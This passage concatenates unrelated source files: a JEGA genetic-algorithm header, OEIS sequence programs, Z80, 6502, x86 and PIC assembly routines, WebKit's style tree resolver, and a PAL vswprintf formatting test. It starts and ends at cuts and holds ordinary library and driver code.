GeneticAlgorithmOperator*
Create(
GeneticAlgorithm& algorithm
);
/*
============================================================================
Subclass Visible Methods
============================================================================
*/
protected:
/*
============================================================================
Subclass Overridable Methods
============================================================================
*/
public:
/// Returns the proper name of this operator.
/**
* \return See Name().
*/
virtual
std::string
GetName(
) const;
/// Returns a full description of what this operator does and how.
/**
* \return See Description().
*/
virtual
std::string
GetDescription(
) const;
/**
* \brief Creates and returns a pointer to an exact duplicate of this
* operator.
*
* \param algorithm The GA for which the new converger is to be used.
* \return A new AverageFitnessTrackerConverger with properties
* duplicated from this.
*/
virtual
GeneticAlgorithmOperator*
Clone(
GeneticAlgorithm& algorithm
) const;
protected:
/// This method returns the average fitness value in \a group.
/**
* \param group The group to use in the convergence check.
* \param fitnesses The fitnesses of the designs in \a group.
* \return The value for this converger to track based on the designs
* in \a group and their associated \a fitnesses. In this case
* it is the average of all fitnesses of all Designs in
* \a group.
*/
virtual
double
GetMetricValue(
const JEGA::Utilities::DesignGroup& group,
const FitnessRecord& fitnesses
);
private:
/*
============================================================================
Private Methods
============================================================================
*/
private:
/*
============================================================================
Structors
============================================================================
*/
public:
/**
* \brief Constructs a AverageFitnessTrackerConverger for use by \a
* algorithm.
*
* \param algorithm The GA for which the new converger is to be used.
*/
AverageFitnessTrackerConverger(
GeneticAlgorithm& algorithm
);
/// Copy constructs a AverageFitnessTrackerConverger.
/**
* \param copy The converger from which properties are to be duplicated
* into this.
*/
AverageFitnessTrackerConverger(
const AverageFitnessTrackerConverger& copy
);
/**
* \brief Copy constructs a AverageFitnessTrackerConverger for use by
* \a algorithm.
*
* \param copy The converger from which properties are to be duplicated
* into this.
* \param algorithm The GA for which the new converger is to be used.
*/
AverageFitnessTrackerConverger(
const AverageFitnessTrackerConverger& copy,
GeneticAlgorithm& algorithm
);
}; // class AverageFitnessTrackerConverger
/*
================================================================================
End Namespace
================================================================================
*/
} // namespace Algorithms
} // namespace JEGA
/*
================================================================================
Include Inlined Functions File
================================================================================
*/
#include "./inline/AverageFitnessTrackerConverger.hpp.inl"
/*
================================================================================
End of Multiple Inclusion Check
================================================================================
*/
#endif // JEGA_ALGORITHMS_AVERAGEFITNESSTRACKERCONVERGER_HPP
|
; A248230: a(n) = floor(1/(zeta(4) - Sum_{h=1..n} 1/h^4)).
; 12,50,133,280,507,833,1276,1855,2586,3488,4579,5878,7401,9167,11194,13501,16104,19022,22273,25876,29847,34205,38968,44155,49782,55868,62431,69490,77061,85163,93814,103033,112836,123242,134269,145936,158259,171257,184948,199351,214482,230360,247003,264430,282657,301703,321586,342325,363936,386438,409849,434188,459471,485717,512944,541171,570414,600692,632023,664426,697917,732515,768238,805105,843132,882338,922741,964360,1007211,1051313,1096684,1143343,1191306,1240592,1291219,1343206,1396569,1451327,1507498,1565101,1624152,1684670,1746673,1810180,1875207,1941773,2009896,2079595,2150886,2223788,2298319,2374498,2452341,2531867,2613094,2696041,2780724,2867162,2955373,3045376,3137187,3230825,3326308,3423655,3522882,3624008,3727051,3832030,3938961,4047863,4158754,4271653,4386576,4503542,4622569,4743676,4866879,4992197,5119648,5249251,5381022,5514980,5651143,5789530,5930157,6073043,6218206,6365665,6515436,6667538,6821989,6978808,7138011,7299617,7463644,7630111,7799034,7970432,8144323,8320726,8499657,8681135,8865178,9051805,9241032,9432878,9627361,9824500,10024311,10226813,10432024,10639963,10850646,11064092,11280319,11499346,11721189,11945867,12173398,12403801,12637092,12873290,13112413,13354480,13599507,13847513,14098516,14352535,14609586,14869688,15132859,15399118,15668481,15940967,16216594,16495381,16777344,17062502,17350873,17642476,17937327,18235445,18536848,18841555,19149582,19460948,19775671,20093770,20415261,20740163,21068494,21400273,21735516,22074242,22416469,22762216,23111499,23464337,23820748,24180751,24544362,24911600,25282483,25657030,26035257,26417183,26802826,27192205,27585336,27982238,28382929,28787428,29195751,29607917,30023944,30443851,30867654,31295372,31727023,32162626,32602197,33045755,33493318,33944905,34400532,34860218,35323981,35791840,36263811,36739913,37220164,37704583,38193186,38685992,39183019,39684286,40189809,40699607,41213698,41732101,42254832,42781910,43313353,43849180,44389407,44934053,45483136,46036675,46594686,47157188
mov $1,4
mov $2,$0
add $2,2
mov $4,$2
mov $7,$0
lpb $2
add $1,1
lpb $4
add $1,1
trn $4,$3
lpe
sub $1,1
add $1,$2
add $1,2
sub $2,1
add $3,4
lpe
mov $5,17
mov $8,$7
lpb $5
add $1,$8
sub $5,1
lpe
mov $6,$7
lpb $6
sub $6,1
add $9,$8
lpe
mov $5,13
mov $8,$9
lpb $5
add $1,$8
sub $5,1
lpe
mov $6,$7
mov $9,0
lpb $6
sub $6,1
add $9,$8
lpe
mov $5,3
mov $8,$9
lpb $5
add $1,$8
sub $5,1
lpe
|
;
; Sharp OZ family functions
;
; ported from the OZ-7xx SDK by by Alexander R. Pruss
; by Stefano Bodrato - Oct. 2003
;
; void ozscrollclear();
;
; ------
; $Id: ozscrollclear.asm,v 1.3 2016-06-28 14:48:17 dom Exp $
;
SECTION code_clib
PUBLIC ozscrollclear
PUBLIC _ozscrollclear
EXTERN ozactivepage
ozscrollclear:
_ozscrollclear:
in a,(3)
ld c,a
in a,(4)
ld b,a
push bc
ld bc,(ozactivepage)
ld a,c
out (3),a
ld a,b
out (4),a
ld hl,0a000h+300
ld de,0a000h
ld bc,2400-300
ldir
ld de,300
xor a
ld e,a
ld hl,0a000h+2400-300
ld bc,300
rpt:
ld (hl),e
inc hl
dec bc
ld a,b
or c
jr nz,rpt
pop bc
ld a,c
out (3),a
ld a,b
out (4),a
ret
|
; Provided under the CC0 license. See the included LICENSE.txt for details.
pfread
cmp #16
bcc lefthalf
eor #31 ; 16-31 converted to 15-0
lefthalf
tax
lda bytemask,x
cpx #8
bcc bytedone
and (PF2pointer),y
.byte $0C
bytedone
and (PF1pointer),y
RETURN
bytemask
.byte $80,$40,$20,$10,8,4,2,1
.byte 1,2,4,8,$10,$20,$40,$80
|
; Copyright 2022 Andreas Herzig
; Licence: MIT
COM1 equ 0x3F8
COM2 equ 0x2F8
COM3 equ 0x3E8
COM4 equ 0x2E8
PORT equ 0x3F8
init_kcom:
OUTB (PORT + 1), 0x00 ; Disable all interrupts
OUTB (PORT + 3), 0x80 ; Enable DLAB (set baud rate divisor)
OUTB (PORT + 0), 0x03 ; Set divisor to 3 (lo byte) 38400 baud
OUTB (PORT + 1), 0x00 ; (hi byte)
OUTB (PORT + 3), 0x03 ; 8 bits, no parity, one stop bit
OUTB (PORT + 2), 0xC7 ; Enable FIFO, clear them, with 14-byte threshold
OUTB (PORT + 4), 0x0B ; IRQs enabled, RTS/DSR set
OUTB (PORT + 4), 0x1E ; Set in loopback mode, test the serial chip
OUTB (PORT + 0), 0xAE ; Test serial chip (send byte 0xAE and check if serial returns same byte)
; Check if serial is faulty (i.e: not same byte as sent)
INB (PORT), al
cmp al, 0xAE
je .step2
;FIXME Log error
ret
.step2:
; If serial is not faulty set it in normal operation mode
; (not-loopback with IRQs enabled and OUT#1 and OUT#2 bits enabled)
OUTB PORT + 4, 0x0F
ret
kputc:
push eax
.is_busy:
; Prüfe ob bereit
INB PORT+5, al
and al, 0x20
jz .is_busy
pop eax
OUTB PORT, al
ret
kputs:
push edi
mov edi, eax
call color_on
.loop:
mov al, [edi]
cmp al,0
je .end
call kputc
inc edi
jmp .loop
.end:
call color_off
pop edi
ret
; Newline ausgeben
; input: none
; output: none
; clobbers: none
kputnl:
push eax
mov al, 10
call kputc
pop eax
ret
color_on:
push edx
push eax
OUTB PORT, 0x1b
OUTB PORT, '['
OUTB PORT, '3'
OUTB PORT, '6'
OUTB PORT, 'm'
pop eax
pop edx
ret
color_off:
push edx
push eax
OUTB PORT, 0x1b
OUTB PORT, '['
OUTB PORT, '0'
OUTB PORT, 'm'
pop eax
pop edx
ret
; input al
; clobbers al
kputhexc:
cmp al,10
jl .p
sub al, 10
add al, 'A'
call kputc
ret
.p:
add al, '0'
call kputc
ret
; Hexdump of memory
; input: edi Adresse
; input: ecx Anzahl
; output: none
; clobbers: none
kputhd:
push eax
push ecx
push edi
.loop:
mov bl, [edi]
mov al, bl
and al, 0xf
call kputhexc
rol bl,4
mov al, bl
and al, 0xf
call kputhexc
mov al, 32
call kputc
inc edi
dec ecx
jnz .loop
pop edi
pop ecx
pop eax
ret
; Wert als Hex ausgeben
; input: eax 32-Bit-Wert
; output: none
; clobbers: none
kputl:
push eax
push ebx
push eax
mov al, '0'
call kputc
mov al, 'x'
call kputc
pop ebx
rol ebx,4
mov al, bl
and al, 0xf
call kputhexc
rol ebx,4
mov al, bl
and al, 0xf
call kputhexc
rol ebx,4
mov al, bl
and al, 0xf
call kputhexc
rol ebx,4
mov al, bl
and al, 0xf
call kputhexc
rol ebx,4
mov al, bl
and al, 0xf
call kputhexc
rol ebx,4
mov al, bl
and al, 0xf
call kputhexc
rol ebx,4
mov al, bl
and al, 0xf
call kputhexc
rol ebx,4
mov al, bl
and al, 0xf
call kputhexc
pop ebx
pop eax
ret
|
/*
* Copyright (C) 1999 Lars Knoll (knoll@kde.org)
* (C) 1999 Antti Koivisto (koivisto@kde.org)
* (C) 2001 Peter Kelly (pmk@post.com)
* (C) 2001 Dirk Mueller (mueller@kde.org)
* (C) 2007 David Smith (catfish.man@gmail.com)
* Copyright (C) 2004-2010, 2012-2016 Apple Inc. All rights reserved.
* (C) 2007 Eric Seidel (eric@webkit.org)
*
* This library is free software; you can redistribute it and/or
* modify it under the terms of the GNU Library General Public
* License as published by the Free Software Foundation; either
* version 2 of the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Library General Public License for more details.
*
* You should have received a copy of the GNU Library General Public License
* along with this library; see the file COPYING.LIB. If not, write to
* the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,
* Boston, MA 02110-1301, USA.
*/
#include "config.h"
#include "StyleTreeResolver.h"
#include "CSSAnimationController.h"
#include "CSSFontSelector.h"
#include "ComposedTreeAncestorIterator.h"
#include "ComposedTreeIterator.h"
#include "DocumentTimeline.h"
#include "ElementIterator.h"
#include "HTMLBodyElement.h"
#include "HTMLMeterElement.h"
#include "HTMLNames.h"
#include "HTMLProgressElement.h"
#include "HTMLSlotElement.h"
#include "LoaderStrategy.h"
#include "MainFrame.h"
#include "NodeRenderStyle.h"
#include "Page.h"
#include "PlatformStrategies.h"
#include "RenderElement.h"
#include "RenderView.h"
#include "Settings.h"
#include "ShadowRoot.h"
#include "StyleFontSizeFunctions.h"
#include "StyleResolver.h"
#include "StyleScope.h"
#include "Text.h"
namespace WebCore {
namespace Style {
TreeResolver::TreeResolver(Document& document)
: m_document(document)
{
}
TreeResolver::~TreeResolver() = default;
TreeResolver::Scope::Scope(Document& document)
: styleResolver(document.styleScope().resolver())
, sharingResolver(document, styleResolver.ruleSets(), selectorFilter)
{
}
TreeResolver::Scope::Scope(ShadowRoot& shadowRoot, Scope& enclosingScope)
: styleResolver(shadowRoot.styleScope().resolver())
, sharingResolver(shadowRoot.documentScope(), styleResolver.ruleSets(), selectorFilter)
, shadowRoot(&shadowRoot)
, enclosingScope(&enclosingScope)
{
styleResolver.setOverrideDocumentElementStyle(enclosingScope.styleResolver.overrideDocumentElementStyle());
}
TreeResolver::Scope::~Scope()
{
styleResolver.setOverrideDocumentElementStyle(nullptr);
}
TreeResolver::Parent::Parent(Document& document)
: element(nullptr)
, style(*document.renderStyle())
{
}
TreeResolver::Parent::Parent(Element& element, const RenderStyle& style, Change change, DescendantsToResolve descendantsToResolve)
: element(&element)
, style(style)
, change(change)
, descendantsToResolve(descendantsToResolve)
{
}
void TreeResolver::pushScope(ShadowRoot& shadowRoot)
{
m_scopeStack.append(adoptRef(*new Scope(shadowRoot, scope())));
}
void TreeResolver::pushEnclosingScope()
{
ASSERT(scope().enclosingScope);
m_scopeStack.append(*scope().enclosingScope);
}
void TreeResolver::popScope()
{
return m_scopeStack.removeLast();
}
std::unique_ptr<RenderStyle> TreeResolver::styleForElement(Element& element, const RenderStyle& inheritedStyle)
{
if (element.hasCustomStyleResolveCallbacks()) {
RenderStyle* shadowHostStyle = scope().shadowRoot ? m_update->elementStyle(*scope().shadowRoot->host()) : nullptr;
if (auto customStyle = element.resolveCustomStyle(inheritedStyle, shadowHostStyle)) {
if (customStyle->relations)
commitRelations(WTFMove(customStyle->relations), *m_update);
return WTFMove(customStyle->renderStyle);
}
}
if (auto style = scope().sharingResolver.resolve(element, *m_update))
return style;
auto elementStyle = scope().styleResolver.styleForElement(element, &inheritedStyle, parentBoxStyle(), MatchAllRules, &scope().selectorFilter);
if (elementStyle.relations)
commitRelations(WTFMove(elementStyle.relations), *m_update);
return WTFMove(elementStyle.renderStyle);
}
static void resetStyleForNonRenderedDescendants(Element& current)
{
for (auto& child : childrenOfType<Element>(current)) {
if (child.needsStyleRecalc()) {
child.resetComputedStyle();
child.resetStyleRelations();
child.setHasValidStyle();
}
if (child.childNeedsStyleRecalc()) {
resetStyleForNonRenderedDescendants(child);
child.clearChildNeedsStyleRecalc();
}
}
}
static bool affectsRenderedSubtree(Element& element, const RenderStyle& newStyle)
{
if (element.renderer())
return true;
if (newStyle.display() != NONE)
return true;
if (element.rendererIsNeeded(newStyle))
return true;
return false;
}
static const RenderStyle* renderOrDisplayContentsStyle(const Element& element)
{
if (auto* renderStyle = element.renderStyle())
return renderStyle;
if (element.hasDisplayContents())
return element.existingComputedStyle();
return nullptr;
}
static DescendantsToResolve computeDescendantsToResolve(Change change, Validity validity, DescendantsToResolve parentDescendantsToResolve)
{
if (parentDescendantsToResolve == DescendantsToResolve::All)
return DescendantsToResolve::All;
if (validity >= Validity::SubtreeInvalid)
return DescendantsToResolve::All;
switch (change) {
case NoChange:
return DescendantsToResolve::None;
case NoInherit:
return DescendantsToResolve::ChildrenWithExplicitInherit;
case Inherit:
return DescendantsToResolve::Children;
case Detach:
return DescendantsToResolve::All;
};
ASSERT_NOT_REACHED();
return DescendantsToResolve::None;
};
ElementUpdates TreeResolver::resolveElement(Element& element)
{
if (m_didSeePendingStylesheet && !element.renderer() && !m_document.isIgnoringPendingStylesheets()) {
m_document.setHasNodesWithMissingStyle();
return { };
}
auto newStyle = styleForElement(element, parent().style);
if (!affectsRenderedSubtree(element, *newStyle))
return { };
auto* existingStyle = renderOrDisplayContentsStyle(element);
if (m_didSeePendingStylesheet && (!existingStyle || existingStyle->isNotFinal())) {
newStyle->setIsNotFinal();
m_document.setHasNodesWithNonFinalStyle();
}
auto update = createAnimatedElementUpdate(WTFMove(newStyle), element, parent().change);
auto descendantsToResolve = computeDescendantsToResolve(update.change, element.styleValidity(), parent().descendantsToResolve);
if (&element == m_document.documentElement()) {
m_documentElementStyle = RenderStyle::clonePtr(*update.style);
scope().styleResolver.setOverrideDocumentElementStyle(m_documentElementStyle.get());
if (update.change != NoChange && existingStyle && existingStyle->computedFontPixelSize() != update.style->computedFontPixelSize()) {
// "rem" units are relative to the document element's font size so we need to recompute everything.
// In practice this is rare.
scope().styleResolver.invalidateMatchedPropertiesCache();
descendantsToResolve = DescendantsToResolve::All;
}
}
// This is needed for resolving color:-webkit-text for subsequent elements.
// FIXME: We shouldn't mutate document when resolving style.
if (&element == m_document.body())
m_document.setTextColor(update.style->visitedDependentColor(CSSPropertyColor));
// FIXME: These elements should not change renderer based on appearance property.
if (element.hasTagName(HTMLNames::meterTag) || is<HTMLProgressElement>(element)) {
if (existingStyle && update.style->appearance() != existingStyle->appearance()) {
update.change = Detach;
descendantsToResolve = DescendantsToResolve::All;
}
}
auto beforeUpdate = resolvePseudoStyle(element, update, BEFORE);
auto afterUpdate = resolvePseudoStyle(element, update, AFTER);
return { WTFMove(update), descendantsToResolve, WTFMove(beforeUpdate), WTFMove(afterUpdate) };
}
ElementUpdate TreeResolver::resolvePseudoStyle(Element& element, const ElementUpdate& elementUpdate, PseudoId pseudoId)
{
if (elementUpdate.style->display() == NONE)
return { };
if (!elementUpdate.style->hasPseudoStyle(pseudoId))
return { };
auto pseudoStyle = scope().styleResolver.pseudoStyleForElement(element, { pseudoId }, *elementUpdate.style, &scope().selectorFilter);
if (!pseudoStyle)
return { };
PseudoElement* pseudoElement = pseudoId == BEFORE ? element.beforePseudoElement() : element.afterPseudoElement();
if (!pseudoElement) {
auto newPseudoElement = PseudoElement::create(element, pseudoId);
pseudoElement = newPseudoElement.ptr();
if (pseudoId == BEFORE)
element.setBeforePseudoElement(WTFMove(newPseudoElement));
else
element.setAfterPseudoElement(WTFMove(newPseudoElement));
}
return createAnimatedElementUpdate(WTFMove(pseudoStyle), *pseudoElement, elementUpdate.change);
}
const RenderStyle* TreeResolver::parentBoxStyle() const
{
// 'display: contents' doesn't generate boxes.
for (unsigned i = m_parentStack.size(); i; --i) {
auto& parent = m_parentStack[i - 1];
if (parent.style.display() == NONE)
return nullptr;
if (parent.style.display() != CONTENTS)
return &parent.style;
}
ASSERT_NOT_REACHED();
return nullptr;
}
ElementUpdate TreeResolver::createAnimatedElementUpdate(std::unique_ptr<RenderStyle> newStyle, Element& element, Change parentChange)
{
auto* oldStyle = renderOrDisplayContentsStyle(element);
if (auto timeline = element.document().existingTimeline()) {
auto webAnimations = timeline->animationsForElement(element);
if (!webAnimations.isEmpty()) {
auto animatedStyle = RenderStyle::clonePtr(*newStyle);
for (const auto& animation : webAnimations)
animation->resolve(*animatedStyle);
newStyle = WTFMove(animatedStyle);
}
}
auto& animationController = m_document.frame()->animation();
auto animationUpdate = animationController.updateAnimations(element, *newStyle, oldStyle);
if (animationUpdate.style)
newStyle = WTFMove(animationUpdate.style);
auto change = oldStyle ? determineChange(*oldStyle, *newStyle) : Detach;
auto validity = element.styleValidity();
if (validity >= Validity::SubtreeAndRenderersInvalid || parentChange == Detach)
change = Detach;
bool shouldRecompositeLayer = element.styleResolutionShouldRecompositeLayer() || animationUpdate.stateChanged;
return { WTFMove(newStyle), change, shouldRecompositeLayer };
}
void TreeResolver::pushParent(Element& element, const RenderStyle& style, Change change, DescendantsToResolve descendantsToResolve)
{
scope().selectorFilter.pushParent(&element);
Parent parent(element, style, change, descendantsToResolve);
if (auto* shadowRoot = element.shadowRoot()) {
pushScope(*shadowRoot);
parent.didPushScope = true;
}
else if (is<HTMLSlotElement>(element) && downcast<HTMLSlotElement>(element).assignedNodes()) {
pushEnclosingScope();
parent.didPushScope = true;
}
m_parentStack.append(WTFMove(parent));
}
void TreeResolver::popParent()
{
auto& parentElement = *parent().element;
parentElement.setHasValidStyle();
parentElement.clearChildNeedsStyleRecalc();
if (parent().didPushScope)
popScope();
scope().selectorFilter.popParent();
m_parentStack.removeLast();
}
void TreeResolver::popParentsToDepth(unsigned depth)
{
ASSERT(depth);
ASSERT(m_parentStack.size() >= depth);
while (m_parentStack.size() > depth)
popParent();
}
static bool shouldResolvePseudoElement(const PseudoElement* pseudoElement)
{
if (!pseudoElement)
return false;
return pseudoElement->needsStyleRecalc();
}
static bool shouldResolveElement(const Element& element, DescendantsToResolve parentDescendantsToResolve)
{
if (element.styleValidity() != Validity::Valid)
return true;
if (shouldResolvePseudoElement(element.beforePseudoElement()))
return true;
if (shouldResolvePseudoElement(element.afterPseudoElement()))
return true;
switch (parentDescendantsToResolve) {
case DescendantsToResolve::None:
return false;
case DescendantsToResolve::Children:
case DescendantsToResolve::All:
return true;
case DescendantsToResolve::ChildrenWithExplicitInherit:
auto* existingStyle = renderOrDisplayContentsStyle(element);
return existingStyle && existingStyle->hasExplicitlyInheritedProperties();
};
ASSERT_NOT_REACHED();
return false;
}
static void clearNeedsStyleResolution(Element& element)
{
element.setHasValidStyle();
if (auto* before = element.beforePseudoElement())
before->setHasValidStyle();
if (auto* after = element.afterPseudoElement())
after->setHasValidStyle();
}
static bool hasLoadingStylesheet(const Style::Scope& styleScope, const Element& element, bool checkDescendants)
{
if (!styleScope.hasPendingSheetsInBody())
return false;
if (styleScope.hasPendingSheetInBody(element))
return true;
if (!checkDescendants)
return false;
for (auto& descendant : descendantsOfType<Element>(element)) {
if (styleScope.hasPendingSheetInBody(descendant))
return true;
};
return false;
}
static std::unique_ptr<RenderStyle> createInheritedDisplayContentsStyleIfNeeded(const RenderStyle& parentElementStyle, const RenderStyle* parentBoxStyle)
{
if (parentElementStyle.display() != CONTENTS)
return nullptr;
if (parentBoxStyle && !parentBoxStyle->inheritedNotEqual(&parentElementStyle))
return nullptr;
// Compute style for imaginary unstyled <span> around the text node.
auto style = RenderStyle::createPtr();
style->inheritFrom(parentElementStyle);
return style;
}
void TreeResolver::resolveComposedTree()
{
ASSERT(m_parentStack.size() == 1);
ASSERT(m_scopeStack.size() == 1);
auto descendants = composedTreeDescendants(m_document);
auto it = descendants.begin();
auto end = descendants.end();
while (it != end) {
popParentsToDepth(it.depth());
auto& node = *it;
auto& parent = this->parent();
ASSERT(node.isConnected());
ASSERT(node.containingShadowRoot() == scope().shadowRoot);
ASSERT(node.parentElement() == parent.element || is<ShadowRoot>(node.parentNode()) || node.parentElement()->shadowRoot());
if (is<Text>(node)) {
auto& text = downcast<Text>(node);
if ((text.styleValidity() >= Validity::SubtreeAndRenderersInvalid && parent.change != Detach) || parent.style.display() == CONTENTS) {
TextUpdate textUpdate;
textUpdate.inheritedDisplayContentsStyle = createInheritedDisplayContentsStyleIfNeeded(parent.style, parentBoxStyle());
m_update->addText(text, parent.element, WTFMove(textUpdate));
}
text.setHasValidStyle();
it.traverseNextSkippingChildren();
continue;
}
auto& element = downcast<Element>(node);
if (it.depth() > Settings::defaultMaximumRenderTreeDepth) {
resetStyleForNonRenderedDescendants(element);
element.clearChildNeedsStyleRecalc();
it.traverseNextSkippingChildren();
continue;
}
auto* style = renderOrDisplayContentsStyle(element);
auto change = NoChange;
auto descendantsToResolve = DescendantsToResolve::None;
bool shouldResolve = shouldResolveElement(element, parent.descendantsToResolve);
if (shouldResolve) {
if (!element.hasDisplayContents())
element.resetComputedStyle();
element.resetStyleRelations();
if (element.hasCustomStyleResolveCallbacks())
element.willRecalcStyle(parent.change);
auto elementUpdates = resolveElement(element);
if (element.hasCustomStyleResolveCallbacks())
element.didRecalcStyle(elementUpdates.update.change);
style = elementUpdates.update.style.get();
change = elementUpdates.update.change;
descendantsToResolve = elementUpdates.descendantsToResolve;
if (elementUpdates.update.style)
m_update->addElement(element, parent.element, WTFMove(elementUpdates));
clearNeedsStyleResolution(element);
}
if (!style) {
resetStyleForNonRenderedDescendants(element);
element.clearChildNeedsStyleRecalc();
}
bool shouldIterateChildren = style && (element.childNeedsStyleRecalc() || descendantsToResolve != DescendantsToResolve::None);
if (!m_didSeePendingStylesheet)
m_didSeePendingStylesheet = hasLoadingStylesheet(m_document.styleScope(), element, !shouldIterateChildren);
if (!shouldIterateChildren) {
it.traverseNextSkippingChildren();
continue;
}
pushParent(element, *style, change, descendantsToResolve);
it.traverseNext();
}
popParentsToDepth(1);
}
std::unique_ptr<Update> TreeResolver::resolve()
{
auto& renderView = *m_document.renderView();
Element* documentElement = m_document.documentElement();
if (!documentElement) {
m_document.styleScope().resolver();
return nullptr;
}
if (!documentElement->childNeedsStyleRecalc() && !documentElement->needsStyleRecalc())
return nullptr;
m_didSeePendingStylesheet = m_document.styleScope().hasPendingSheetsBeforeBody();
m_update = std::make_unique<Update>(m_document);
m_scopeStack.append(adoptRef(*new Scope(m_document)));
m_parentStack.append(Parent(m_document));
// Pseudo element removal and similar may only work with these flags still set. Reset them after the style recalc.
renderView.setUsesFirstLineRules(renderView.usesFirstLineRules() || scope().styleResolver.usesFirstLineRules());
renderView.setUsesFirstLetterRules(renderView.usesFirstLetterRules() || scope().styleResolver.usesFirstLetterRules());
resolveComposedTree();
renderView.setUsesFirstLineRules(scope().styleResolver.usesFirstLineRules());
renderView.setUsesFirstLetterRules(scope().styleResolver.usesFirstLetterRules());
ASSERT(m_scopeStack.size() == 1);
ASSERT(m_parentStack.size() == 1);
m_parentStack.clear();
popScope();
if (m_update->roots().isEmpty())
return { };
return WTFMove(m_update);
}
static Vector<Function<void ()>>& postResolutionCallbackQueue()
{
static NeverDestroyed<Vector<Function<void ()>>> vector;
return vector;
}
void queuePostResolutionCallback(Function<void ()>&& callback)
{
postResolutionCallbackQueue().append(WTFMove(callback));
}
static void suspendMemoryCacheClientCalls(Document& document)
{
Page* page = document.page();
if (!page || !page->areMemoryCacheClientCallsEnabled())
return;
page->setMemoryCacheClientCallsEnabled(false);
postResolutionCallbackQueue().append([protectedMainFrame = Ref<MainFrame>(page->mainFrame())] {
if (Page* page = protectedMainFrame->page())
page->setMemoryCacheClientCallsEnabled(true);
});
}
static unsigned resolutionNestingDepth;
PostResolutionCallbackDisabler::PostResolutionCallbackDisabler(Document& document)
{
++resolutionNestingDepth;
if (resolutionNestingDepth == 1)
platformStrategies()->loaderStrategy()->suspendPendingRequests();
// FIXME: It's strange to build this into the disabler.
suspendMemoryCacheClientCalls(document);
}
PostResolutionCallbackDisabler::~PostResolutionCallbackDisabler()
{
if (resolutionNestingDepth == 1) {
// Get size each time through the loop because a callback can add more callbacks to the end of the queue.
auto& queue = postResolutionCallbackQueue();
for (size_t i = 0; i < queue.size(); ++i)
queue[i]();
queue.clear();
platformStrategies()->loaderStrategy()->resumePendingRequests();
}
--resolutionNestingDepth;
}
bool postResolutionCallbacksAreSuspended()
{
return resolutionNestingDepth;
}
}
}
|
; A305064: a(n) = 42*2^n - 20.
; 22,64,148,316,652,1324,2668,5356,10732,21484,42988,85996,172012,344044,688108,1376236,2752492,5505004,11010028,22020076,44040172,88080364,176160748,352321516,704643052,1409286124,2818572268,5637144556,11274289132,22548578284,45097156588,90194313196,180388626412,360777252844,721554505708,1443109011436,2886218022892,5772436045804,11544872091628,23089744183276,46179488366572,92358976733164,184717953466348,369435906932716,738871813865452,1477743627730924,2955487255461868,5910974510923756
mov $1,2
pow $1,$0
sub $1,1
mul $1,42
add $1,22
mov $0,$1
|
// Licensed to the .NET Foundation under one or more agreements.
// The .NET Foundation licenses this file to you under the MIT license.
/*=====================================================================
**
** Source: test13.c
**
** Purpose: Test #13 for the vswprintf function.
**
**
**===================================================================*/
#include <palsuite.h>
#include "../vswprintf.h"
/* memcmp is used to verify the results, so this test is dependent on it. */
/* ditto with wcslen */
PALTEST(c_runtime_vswprintf_test13_paltest_vswprintf_test13, "c_runtime/vswprintf/test13/paltest_vswprintf_test13")
{
int neg = -42;
int pos = 0x1234ab;
INT64 l = I64(0x1234567887654321);
if (PAL_Initialize(argc, argv) != 0)
return(FAIL);
DoNumTest(convert("foo %X"), pos, convert("foo 1234AB"));
DoNumTest(convert("foo %lX"), pos, convert("foo 1234AB"));
DoNumTest(convert("foo %hX"), pos, convert("foo 34AB"));
DoNumTest(convert("foo %LX"), pos, convert("foo 1234AB"));
DoI64NumTest(convert("foo %I64X"), l, "0x1234567887654321",
convert("foo 1234567887654321"));
DoNumTest(convert("foo %7X"), pos, convert("foo 1234AB"));
DoNumTest(convert("foo %-7X"), pos, convert("foo 1234AB "));
DoNumTest(convert("foo %.1X"), pos, convert("foo 1234AB"));
DoNumTest(convert("foo %.7X"), pos, convert("foo 01234AB"));
DoNumTest(convert("foo %07X"), pos, convert("foo 01234AB"));
DoNumTest(convert("foo %#X"), pos, convert("foo 0X1234AB"));
DoNumTest(convert("foo %+X"), pos, convert("foo 1234AB"));
DoNumTest(convert("foo % X"), pos, convert("foo 1234AB"));
DoNumTest(convert("foo %+X"), neg, convert("foo FFFFFFD6"));
DoNumTest(convert("foo % X"), neg, convert("foo FFFFFFD6"));
PAL_Terminate();
return PASS;
}
|
#include <iostream>
#include "pstl/execution"
#include "pstl/algorithm"
int main() {
std::array<int, 4> a{2, 3, 1, 4};
std::sort(std::execution::par_unseq, a.begin(), a.end());
}
|
LIST P=PIC16F84A
#INCLUDE <P16F84A.INC>
__CONFIG _HS_OSC&_CP_OFF&_WDT_OFF&_PWRTE_ON
W_TEMP EQU 0CH
STATUS_TEMP EQU 0DH
CNT1 EQU 0EH
CNTB EQU 0FH
IN EQU 012H
ORG 0H
GOTO MAIN
ORG 04H
;PUSH
MOVWF W_TEMP
MOVF STATUS,W
MOVWF STATUS_TEMP
MOVLW 'T'
CALL CSEND
MOVLW 'A'
CALL CSEND
MOVLW 'K'
CALL CSEND
MOVLW 'O'
CALL CSEND
MOVLW 020H
CALL CSEND
MOVLW 'T'
CALL CSEND
MOVLW 'A'
CALL CSEND
MOVLW 'R'
CALL CSEND
MOVLW 'O'
CALL CSEND
MOVLW '/'
CALL CSEND
MOVLW 0E7H
CALL CSEND
MOVLW 94H
CALL CSEND
MOVLW 0B0H
CALL CSEND
MOVLW 0E5H
CALL CSEND
MOVLW 85H
CALL CSEND
MOVLW 89H
CALL CSEND
MOVLW 0E3H
CALL CSEND
MOVLW 80H
CALL CSEND
MOVLW 80H
CALL CSEND
MOVLW 0E5H
CALL CSEND
MOVLW 0A4H
CALL CSEND
MOVLW 0AAH
CALL CSEND
MOVLW 0E9H
CALL CSEND
MOVLW 83H
CALL CSEND
MOVLW 8EH
CALL CSEND
MOVLW 0DH
CALL CSEND
MOVLW 0AH
CALL CSEND
;POP
MOVF STATUS_TEMP,W
MOVWF STATUS
SWAPF W_TEMP,F
SWAPF W_TEMP,W
BCF INTCON,INTF
RETFIE
MAIN
BSF STATUS,RP0
BCF INTCON,GIE
CLRF TRISA
MOVLW 01H
MOVWF TRISB
BCF STATUS,RP0
BSF PORTA,4
BSF INTCON,GIE
BSF INTCON,INTE
MAINLP
GOTO MAINLP
CSEND
MOVWF IN
MOVLW 08H
MOVWF CNTB
BCF PORTA,4
CALL TIME104
CSENDLP
BTFSC IN,0
BSF PORTA,4
BTFSS IN,0
BCF PORTA,4
